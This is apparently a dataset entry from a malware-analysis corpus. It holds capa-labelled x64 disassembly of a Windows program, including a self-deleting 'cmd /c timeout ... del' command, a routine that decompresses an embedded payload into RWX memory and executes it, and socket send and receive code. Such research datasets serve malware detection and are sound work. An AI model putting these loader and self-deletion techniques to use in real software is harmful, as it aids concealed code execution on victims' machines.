joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001580
Capabilities:
Create process on windows
Self delete

Disassembly:
sub rsp, 0x418
mov rax, qword [0x140341318]
xor rax, rsp
mov qword [rsp + 0x400], rax
mov r8d, 0x104
lea rdx, [rsp + 0xe0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x140001668
lea rax, [rsp + 0xe0]
mov r9d, 0x19
lea r8, str.cmd__c_timeout__T__d__NOBREAK__del___s_
mov qword [rsp + 0x20], rax
mov edx, 0x208
lea rcx, [rsp + 0x1f0]
call fcn.140001440
xor edx, edx
lea rcx, [rsp + 0x70]
lea r8d, [rdx + 0x68]
call sub.msvcrt.dll_memset
xor eax, eax
mov dword [rsp + 0x70], WSAGetLastError
mov qword [rsp + 0x50], rax
lea rdx, [rsp + 0x1f0]
mov qword [rsp + 0x58], rax
xor r9d, r9d
mov qword [rsp + 0x60], rax
xor r8d, r8d
lea rax, [rsp + 0x50]
xor ecx, ecx
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140001668
mov rcx, qword [rsp + 0x50]
call qword [fcn.14000177c]
mov rcx, qword [rsp + 0x58]
call qword [fcn.14000177c]
mov rcx, qword [rsp + 0x400]
xor rcx, rsp
call fcn.1401e6610
add rsp, 0x418
ret

Function at 0x140001680
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rdi, qword [section..textshe]
test rdi, rdi
je 0x14000174a
mov rcx, rdi
call qword [sym.imp.msvcrt.dll_malloc]
mov rbx, rax
test rax, rax
je 0x14000174a
mov r9d, edi
mov r8d, 0xb41eb
mov rdx, rax
lea rcx, [0x140365008]
call sym.ConsoleApplication1.exe_LZ4_decompress_safe
test eax, eax
jns 0x1400016db
mov rcx, rbx
call qword [sym.imp.msvcrt.dll_free]
jmp 0x14000174a
movsxd rsi, eax
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
mov qword [rsp + 0x30], rax
test rax, rax
je 0x1400016d0
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov rcx, rbx
call qword [sym.imp.msvcrt.dll_free]
nop
call rdi
nop
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x14000174f
mov eax, 1
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1400028c8
Capabilities:
Check os version

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x60
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
cmp dword [rcx + 0x118], 6
jae 0x140002a0a
xor edi, edi
cmp qword [0x1403416e0], rdi
jne 0x140002a01
bt qword [0x1401f8960], 0
lea rdx, str.NtOpenKeyedEvent
lea rcx, [0x14033a080]
call fcn.140002f44
mov rbx, rax
test rax, rax
jne 0x140002933
xor r9d, r9d
lea edx, [rdi + 1]
xor r8d, r8d
mov ecx, 0xc0000264
call qword [sym.imp.KERNEL32.dll_RaiseException]
or rcx, 0xffffffffffffffff
lea r9, str.KernelObjectsCritSecOutOfMemoryEvent
mov rax, r9
mov rdx, rdi
lea r8d, [rcx + 3]
cmp word [rax], di
je 0x140002959
inc rdx
add rax, r8
sub rcx, 1
jne 0x140002948
lea rcx, [rdx + rdx]
mov qword [rsp + 0x28], r9
mov edx, 0xffff
mov dword [rsp + gethostbyname], 0x30
cmp rcx, rdx
mov qword [rsp + 0x38], rdi
movzx eax, cx
cmova ax, dx
mov word [rsp + 0x20], ax
lea rax, [rcx + 2]
add cx, r8w
lea r8, [rsp + 0x30]
cmp rax, rdx
lea rax, [rsp + 0x20]
mov qword [rsp + 0x40], rax
cmova cx, dx
xor eax, eax
mov word [rsp + 0x22], cx
mov edx, 0x2000000
movaps xmm0, xmmword [rsp + 0x20]
lea rcx, [rsp + 0x70]
movdqa xmmword [rsp + 0x20], xmm0
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rax
call rbx
test eax, eax
jns 0x1400029e5
xor r9d, r9d
xor r8d, r8d
mov ecx, 0xc0000264
lea edx, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_RaiseException]
mov rcx, qword [rsp + 0x70]
xor eax, eax
lock cmpxchg qword [0x1403416e0], rcx
je 0x140002a01
mov rcx, qword [rsp + 0x70]
call fcn.14000177c
mov rax, qword [0x1403416e0]
jmp 0x140002a0c
xor eax, eax
mov rbx, qword [rsp + 0x80]
add rsp, 0x60
pop rdi
ret
Function at 0x14000302c
Capabilities:
Get common file path

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x168]
sub rsp, 0x240
xor r12d, r12d
mov r15d, r8d
xor eax, eax
mov rbx, rdx
mov rsi, rcx
lock cmpxchg qword [rcx], r12
je 0x140003093
or rdi, 0xffffffffffffffff
cmp rax, rdi
jne 0x140003072
xor eax, eax
lea r11, [rsp + 0x240]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
or rdi, 0xffffffffffffffff
mov qword [rbp + 0x188], r12
test r15b, 1
je 0x1400030b2
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
jmp 0x1400031f7
bt qword [0x1401f89a8], 0
lea rdx, str.LoadLibraryExW
lea rcx, [0x14033a0c8]
call fcn.140002f44
mov r14, rax
test rax, rax
je 0x140003070
mov r13d, 2
test r13b, r15b
je 0x1400030e9
mov r8d, r13d
jmp 0x1400031ef
test r15b, 4
je 0x1400030f7
xor r8d, r8d
jmp 0x1400031ef
bt qword [0x1401f8980], 0
lea rdx, str.AddDllDirectory
lea rcx, [0x14033a0a0]
call fcn.140002f44
test rax, rax
jne 0x1400031e9
bt qword [0x1401f8978], 0
lea rdx, str.LdrLoadDll
lea rcx, [0x14033a098]
call fcn.140002f44
mov r15, rax
test rax, rax
je 0x140003070
xor edx, edx
lea rcx, [rsp + 0x30]
mov r8d, 0x208
call sub.msvcrt.dll_memset
mov edx, 0x104
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
dec eax
cmp eax, 0x102
ja 0x1400030ef
mov rdx, rdi
mov rax, rbx
mov rcx, r12
test rbx, rbx
je 0x14000318f
cmp word [rax], r12w
je 0x14000318f
inc rcx
add rax, r13
sub rdx, 1
jne 0x14000317d
add rcx, rcx
mov qword [rsp + 0x28], rbx
movzx eax, cx
lea r9, [rbp + 0x188]
mov edx, 0xffff
lea r8, [rsp + 0x20]
cmp rcx, rdx
cmova ax, dx
mov word [rsp + 0x20], ax
lea rax, [rcx + 2]
add cx, r13w
cmp rax, rdx
cmova cx, dx
xor edx, edx
mov word [rsp + 0x22], cx
lea rcx, [rsp + 0x30]
movaps xmm0, xmmword [rsp + 0x20]
movdqa xmmword [rsp + 0x20], xmm0
call r15
mov rax, qword [rbp + 0x188]
jmp 0x1400031fe
mov r8d, 0x800
xor edx, edx
mov rcx, rbx
call r14
mov qword [rbp + 0x188], rax
test rax, rax
jne 0x14000320b
xchg qword [rsi], rdi
jmp 0x140003070
xchg qword [rsi], rax
test rax, rax
je 0x140003220
mov rcx, qword [rbp + 0x188]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rax, qword [rbp + 0x188]
jmp 0x140003072
Function at 0x14000f330
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x50
xor ebx, ebx
mov dword [rax - 0x38], 0x1c
mov rdi, r8
mov rsi, rdx
lea r8, [rax - 0x38]
mov r14, r9
lea rdx, [rax - 0x30]
mov word [rax - 0x30], bx
cmp dword [rsp + 0x80], ebx
je 0x14000f374
call qword [sym.imp.WS2_32.dll_getsockname]
jmp 0x14000f37a
call qword [sym.imp.WS2_32.dll_getpeername]
test eax, eax
je 0x14000f382
xor eax, eax
jmp 0x14000f3fc
movzx ecx, word [rsp + 0x2a]
mov qword [rsp + 0x60], rbp
movzx ebp, word [rsp + 0x28]
call qword [sym.imp.WS2_32.dll_ntohs]
mov word [r14], ax
lea rcx, [rsp + 0x30]
movzx eax, word [rsp + 0x28]
mov r8, rsi
movsxd r9, dword [rdi]
lea rdx, [rsp + 0x2c]
cmp eax, 2
cmovne rdx, rcx
mov ecx, eax
call fcn.1400024c0
test rax, rax
je 0x14000f3d7
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
mov ebx, 1
mov dword [rdi], eax
jmp 0x14000f3f5
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x57
jne 0x14000f3f5
cmp bp, 2
mov ecx, reloc.WS2_32.dll_shutdown
mov eax, 0x41
cmovne ecx, eax
mov dword [rdi], ecx
mov rbp, qword [rsp + 0x60]
mov eax, ebx
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r14
ret

Function at 0x14000f660
Capabilities:
Get file size

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
mov rbx, rdx
mov rdi, rcx
mov rcx, rbx
lea rdx, [rsp + 0x44]
mov rbp, r9
mov rsi, r8
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov r8d, dword [rsp + 0x60]
mov dword [rsp + 0x40], eax
mov rax, qword [rsp + 0x40]
cmp rax, rsi
mov qword [rsp + 0x28], 0
cmovb rax, rsi
xor edx, edx
mov qword [rsp + 0x40], rax
mov ecx, dword [rsp + 0x40]
shr rax, 0x20
mov dword [rsp + 0x20], ecx
mov r9d, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov qword [rdi + 0x10], rax
mov rcx, rax
test rax, rax
jne 0x14000f6de
call fcn.14000d970
jmp 0x14000f746
test rsi, rsi
jne 0x14000f6f1
mov rax, qword [rsp + 0x40]
sub rax, rbp
mov qword [rdi + 8], rax
jmp 0x14000f6f5
mov qword [rdi + 8], rsi
mov rax, qword [rdi + 8]
mov r9d, ebp
mov edx, dword [rsp + 0x68]
mov qword [rdi + 0x18], rbp
mov r8d, dword [rdi + 0x1c]
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rax
mov dword [rdi + 0x20], edx
call qword [sym.imp.KERNEL32.dll_MapViewOfFileEx]
mov qword [rdi], rax
test rax, rax
jne 0x14000f744
call fcn.14000d970
mov rcx, qword [rdi + 0x10]
mov ebx, eax
call qword [fcn.14000177c]
mov eax, ebx
mov qword [rdi + 0x10], 0
jmp 0x14000f746
xor eax, eax
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x14000f760
Capabilities:
Get file size

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov r10, rcx
mov edi, r9d
mov rcx, qword [rdx + 8]
xor eax, eax
mov rsi, r8
mov rbx, rdx
test rcx, rcx
je 0x14000f7b4
mov qword [rsp + 0x38], rax
lea r9d, [rax + 1]
mov dword [rsp + 0x30], 0x80
mov r8d, 0x80000000
mov dword [rsp + 0x28], 3
mov rdx, r10
mov qword [rsp + 0x20], rax
call fcn.14000ee50
jmp 0x14000f7de
mov qword [rsp + 0x30], rax
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov rcx, r10
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
jne 0x14000f7fd
call fcn.14000d970
test eax, eax
jns 0x14000f800
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
mov qword [rbx], rax
mov rcx, qword [rbx]
lea rdx, [rsp + 0x5c]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x58], eax
cmp eax, 0xffffffff
jne 0x14000f820
call fcn.14000d970
test eax, eax
js 0x14000f872
mov rax, qword [rsp + 0x58]
test rax, rax
je 0x14000f860
cmp rax, rdi
ja 0x14000f860
mov rdx, qword [rbx]
xor r9d, r9d
mov dword [rsp + 0x28], 4
xor r8d, r8d
mov rcx, rsi
mov dword [rsp + 0x20], 2
call fcn.14000f660
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
test rax, rax
mov ecx, 0x800700df
mov edx, 0x800703ee
cmove ecx, edx
mov eax, ecx
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret

Function at 0x14000f920
Capabilities:
Set socket configuration

Disassembly:
mov dword [rsp + 0x10], edx
sub rsp, 0x28
lea r8, [rsp + 0x38]
mov edx, 0x8004667e
call qword [sym.imp.WS2_32.dll_ioctlsocket]
add rsp, 0x28
ret

Function at 0x14000f940
Capabilities:
Set socket configuration

Disassembly:
mov dword [rsp + 0x10], edx
sub rsp, 0x38
mov edx, 6
mov dword [rsp + 0x20], 4
lea r9, [rsp + 0x48]
lea r8d, [rdx - 5]
call qword [sym.imp.WS2_32.dll_setsockopt]
add rsp, 0x38
ret

Function at 0x14000f970
Capabilities:
Set socket configuration

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov dword [rsp + 0x50], 1
mov rdi, rcx
mov dword [rsp + 0x48], 0
test edx, edx
jne 0x14000f998
lea r9, [rsp + 0x50]
jmp 0x14000f9a2
cmp edx, 1
jne 0x14000f9eb
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov dword [rsp + 0x20], 4
mov r8d, 0xfffffffb
call qword [sym.imp.WS2_32.dll_setsockopt]
lea r9, [rsp + 0x48]
mov dword [rsp + 0x20], 4
mov edx, 0xffff
mov r8d, 4
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.WS2_32.dll_setsockopt]
or eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
cmp edx, 2
jne 0x14000fa3e
lea r9, [rsp + 0x48]
mov dword [rsp + 0x20], 4
mov edx, 0xffff
mov r8d, 0xfffffffb
call qword [sym.imp.WS2_32.dll_setsockopt]
lea r9, [rsp + 0x50]
mov dword [rsp + 0x20], 4
mov edx, 0xffff
mov r8d, 4
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.WS2_32.dll_setsockopt]
or eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
mov ecx, 0x57
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rbx, qword [rsp + 0x40]
or eax, 0xffffffff
add rsp, 0x30
pop rdi
ret
Function at 0x14000fa80
Capabilities:
Get socket status

Disassembly:
push rbx
sub rsp, 0x470
mov rax, qword [0x140341318]
xor rax, rsp
mov qword [rsp + 0x460], rax
mov r8d, edx
mov qword [rsp + 0x258], rcx
mov eax, 0x10624dd3
mov qword [rsp + 0x48], rcx
mul edx
mov rbx, rcx
mov dword [rsp + 0x250], 1
shr edx, 6
lea r9, [rsp + 0x40]
imul eax, edx, 0x3e8
xor ecx, ecx
mov dword [rsp + 0x38], edx
xor edx, edx
mov dword [rsp + 0x40], 1
sub r8d, eax
imul eax, r8d, 0x3e8
lea r8, [rsp + 0x250]
mov dword [rsp + 0x3c], eax
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_select]
test eax, eax
jg 0x14000fb26
jne 0x14000fb14
mov eax, 0x5b4
jmp 0x14000fb97
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
mov ecx, 0x22a
cmove eax, ecx
jmp 0x14000fb97
lea rdx, [rsp + 0x40]
mov rcx, rbx
call sub.WS2_32.dll___WSAFDIsSet
mov rcx, rbx
test eax, eax
je 0x14000fb88
lea rax, [rsp + 0x30]
mov dword [rsp + 0x30], 4
lea r9, [rsp + 0x34]
mov qword [rsp + 0x20], rax
mov edx, 0xffff
mov r8d, 0x1007
call qword [sym.imp.WS2_32.dll_getsockopt]
test eax, eax
jne 0x14000fb72
mov ecx, dword [rsp + 0x34]
lea eax, [rcx + 1]
cmp eax, 1
ja 0x14000fb84
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x22a
test eax, eax
cmove eax, ecx
mov ecx, eax
mov eax, ecx
jmp 0x14000fb97
lea rdx, [rsp + 0x250]
call sub.WS2_32.dll___WSAFDIsSet
xor eax, eax
mov rcx, qword [rsp + 0x460]
xor rcx, rsp
call fcn.1401e6610
add rsp, 0x470
pop rbx
ret
Function at 0x140010180
Capabilities:
Connect socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
xor edi, edi
mov rsi, rdx
mov rbx, rcx
test r8d, r8d
je 0x14001020c
mov rdx, qword [rcx + 0x30]
lea r8d, [rdi + 0x30]
mov rcx, qword [rcx + 0x28]
call qword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
je 0x1400102ca
cmp word [rsi], 2
mov eax, 0x1c
mov rcx, qword [rbx + 0x28]
mov r8d, reloc.WS2_32.dll_recv
cmovne r8d, eax
mov rdx, rsi
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x1400101f5
cmp eax, 0xffffffff
jne 0x1400102ca
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x1400102ca
mov edi, 1
mov eax, edi
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rcx, qword [rcx + 0x28]
mov edx, 1
call fcn.14000f920
test eax, eax
jne 0x1400102dc
cmp word [rsi], 2
mov eax, 0x1c
mov rcx, qword [rbx + 0x28]
mov r8d, reloc.WS2_32.dll_recv
cmovne r8d, eax
mov rdx, rsi
call qword [sym.imp.WS2_32.dll_connect]
mov esi, eax
test eax, eax
je 0x140010255
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x2733
jne 0x1400102ca
cmp esi, 0xffffffff
jne 0x140010268
mov edx, dword [rbx + 0x44]
mov rcx, qword [rbx + 0x28]
call fcn.14000fa80
mov esi, eax
test esi, esi
jne 0x1400102c2
mov rdx, qword [rbx + 0x30]
lea r8d, [rsi + 0x23]
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
je 0x1400102ca
mov dword [rbx + 0x70], 1
xor ecx, ecx
mov dword [rbx + 0x74], 1
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x180]
cmp eax, 2
jne 0x1400101f5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x4c7
test eax, eax
cmove eax, ecx
mov ecx, eax
jmp 0x1400102c4
mov ecx, esi
call qword [sym.imp.WS2_32.dll_WSASetLastError]
mov rbx, qword [rsp + 0x30]
mov eax, edi
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov ecx, 0x80004005
call fcn.14000d990
int3

Function at 0x140010460
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
lea rax, [rcx + 0x68]
mov rbx, rcx
mov r9, rcx
mov qword [rsp + 0x28], rax
xor edi, edi
lea r8, [0x140011410]
xor edx, edx
mov dword [rsp + 0x20], edi
xor ecx, ecx
call sub.msvcrt.dll__beginthreadex
test rax, rax
mov qword [rbx + 0x60], rax
mov rbx, qword [rsp + 0x40]
setne dil
mov eax, edi
add rsp, 0x30
pop rdi
ret
Function at 0x1400104b0
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov eax, dword [rdx + 0x30]
mov r14, r8
mov rsi, rdx
mov rdi, rcx
sub eax, dword [rdx + 0x28]
je 0x140010556
nop dword [rax + rax]
mov r8d, dword [rdi + 0x48]
cmp eax, r8d
mov rdx, qword [rsi + 0x28]
mov rcx, qword [rdi + 0x28]
cmovl r8d, eax
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
mov ebp, eax
test eax, eax
jle 0x140010549
lea rcx, [rdi + 0x190]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
sub dword [rdi + 0x1f0], ebp
lea rcx, [rdi + 0x190]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [rdi]
mov r8d, ebp
mov rdx, qword [rsi + 0x28]
mov rcx, rdi
call qword [rax + 0x190]
mov edx, ebp
mov rcx, rsi
call fcn.14000eb10
jmp 0x14001054e
cmp ebp, 0xffffffff
je 0x140010576
mov eax, dword [rsi + 0x30]
sub eax, dword [rsi + 0x28]
jne 0x1400104e0
mov eax, 1
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x14001058c
mov dword [r14], 1
jmp 0x140010556
mov dword [rdi + 0x20], eax
xor eax, eax
mov dword [rdi + 0x18], 1
mov dword [rdi + 0x1c], 3
mov dword [rdi + 0x24], 1
jmp 0x14001055b

Function at 0x140010ad0
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov eax, dword [rcx + 0x1f4]
mov rbx, rcx
test eax, eax
jne 0x140010bbe
nop dword [rax + rax]
mov r8d, dword [rbx + 0x48]
xor r9d, r9d
mov rdx, qword [rbx + 0x88]
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.WS2_32.dll_recv]
mov edi, eax
test eax, eax
jle 0x140010b67
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov r9, qword [rbx]
mov r8d, edi
mov rdx, qword [rbx + 0x88]
mov rcx, rbx
call qword [r9 + 0x1a0]
cmp eax, 2
jne 0x140010b70
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
mov ecx, 0x4c7
cmove eax, ecx
mov dword [rbx + 0x18], 1
mov dword [rbx + 0x1c], 4
mov dword [rbx + 0x20], eax
xor eax, eax
mov dword [rbx + 0x24], 1
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
cmp edi, 0xffffffff
je 0x140010bb1
test edi, edi
je 0x140010b8e
mov eax, dword [rbx + 0x1f4]
test eax, eax
je 0x140010af0
mov eax, 1
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov dword [rbx + 0x18], 1
xor eax, eax
mov qword [rbx + 0x1c], 5
mov dword [rbx + 0x24], 1
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x140010b42
mov eax, 1
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x140020c80
Capabilities:
Encode data using add xor sub operations

Disassembly:
xor eax, eax
mov r10, rcx
test rcx, rcx
je 0x140020cec
movzx ecx, byte [rcx]
test cl, cl
je 0x140020cec
mov r11d, 0x100
nop word [rax + rax]
movsx r9d, cl
lea r10, [r10 + 1]
or r9d, r11d
mov r8d, eax
mov edx, r9d
mov ecx, 0x20
shr edx, 2
add r11d, 0x100
xor edx, r9d
imul r9d, r9d
and edx, 0xf
sub ecx, edx
shr r8, cl
mov ecx, edx
mov edx, eax
mov eax, r8d
shl edx, cl
movzx ecx, byte [r10]
or eax, edx
xor eax, r9d
test cl, cl
jne 0x140020ca0
mov ecx, eax
shr ecx, 0x10
xor eax, ecx
ret

Function at 0x140020cf0
Capabilities:
Encode data using add xor sub operations

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
mov eax, 0x20
call fcn.1401e6580
sub rsp, rax
xor ebx, ebx
mov rdi, rcx
test rcx, rcx
je 0x140020d83
movzx eax, byte [rcx]
test al, al
je 0x140020d83
mov qword [rsp + 0x30], rsi
mov esi, 0x100
nop
movsx ecx, al
call fcn.140035030
mov r9d, eax
mov edx, ebx
or r9d, esi
lea rdi, [rdi + 1]
mov eax, ebx
mov r8d, r9d
shr r8d, 2
mov ecx, 0x20
xor r8d, r9d
add esi, 0x100
and r8d, 0xf
imul r9d, r9d
sub ecx, r8d
shr rdx, cl
mov ecx, r8d
shl eax, cl
mov ebx, edx
or ebx, eax
movzx eax, byte [rdi]
xor ebx, r9d
test al, al
jne 0x140020d20
mov rsi, qword [rsp + 0x30]
mov eax, ebx
shr eax, 0x10
xor eax, ebx
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rbx, qword [rsp + 0x38]
xor eax, eax
add rsp, 0x20
pop rdi
ret

Function at 0x140031700
Capabilities:
Set thread local storage value

Disassembly:
mov eax, 0x28
call fcn.1401e6580
sub rsp, rax
mov ecx, dword [rcx]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
xor ecx, ecx
test eax, eax
setne cl
mov eax, ecx
add rsp, 0x28
ret

Function at 0x140033110
Capabilities:
Initialize winsock library

Disassembly:
mov eax, 0x28
call fcn.1401e6580
sub rsp, rax
cmp dword [0x140341bc0], 0
jne 0x1400331ca
xor edx, edx
mov dword [0x140341bc0], 1
mov r8d, 0x198
lea rcx, [0x140341bd0]
call sub.msvcrt.dll_memset
mov ecx, 0x202
lea rdx, [0x140341bd0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x1400331ca
call fcn.140030fd0
lea r8, str.BIO_sock_init
mov edx, __WSAFDIsSet
lea rcx, str.crypto_bio_bio_sock.c
call fcn.1400310f0
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea r8, str.calling_wsastartup__
mov ecx, 2
mov edx, eax
call fcn.1400311f0
call fcn.140030fd0
lea r8, str.BIO_sock_init
mov edx, __WSAFDIsSet
lea rcx, str.crypto_bio_bio_sock.c
call fcn.1400310f0
xor r8d, r8d
lea edx, [r8 + 0x7a]
lea ecx, [rdx - 0x5a]
call fcn.1400311f0
mov eax, 0xffffffff
add rsp, 0x28
ret
mov eax, 1
add rsp, 0x28
ret

Function at 0x1400331e0
Capabilities:
Set socket configuration

Disassembly:
push rbx
mov eax, 0x20
call fcn.1401e6580
sub rsp, rax
mov dword [rsp + 0x30], edx
lea r8, [rsp + 0x30]
mov edx, 0x8004667e
movsxd rcx, ecx
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov ebx, eax
test eax, eax
jns 0x140033242
call fcn.140030fd0
lea r8, str.BIO_socket_ioctl
mov edx, 0xd1
lea rcx, str.crypto_bio_bio_sock.c
call fcn.1400310f0
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea r8, str.calling_ioctlsocket__
mov ecx, 2
mov edx, eax
call fcn.1400311f0
xor eax, eax
test ebx, ebx
sete al
add rsp, 0x20
pop rbx
ret
Function at 0x140033250
Capabilities:
Get socket status

Disassembly:
push rbx
push rsi
push rdi
mov eax, 0x260
call fcn.1401e6580
sub rsp, rax
mov rax, qword [0x140341318]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov edi, ecx
mov rbx, r8
mov esi, edx
cmp ecx, 0xffffffff
jne 0x140033283
mov eax, ecx
jmp 0x1400332e3
test rbx, rbx
jne 0x14003328d
lea eax, [rbx + 1]
jmp 0x1400332e3
xor ecx, ecx
call sub.msvcrt.dll__time64
mov rcx, rax
cmp rbx, rax
jge 0x1400332a0
xor eax, eax
jmp 0x1400332e3
xor eax, eax
mov qword [rsp + 0x48], rdi
sub ebx, ecx
mov dword [rsp + 0x34], eax
test esi, esi
mov dword [rsp + 0x40], 1
lea r8, [rsp + 0x40]
mov dword [rsp + 0x30], ebx
cmovne r8, rax
lea rdx, [rsp + 0x40]
cmove rdx, rax
lea ecx, [rdi + 1]
lea rax, [rsp + 0x30]
xor r9d, r9d
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_select]
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.1401e6610
add rsp, 0x260
pop rdi
pop rsi
pop rbx
ret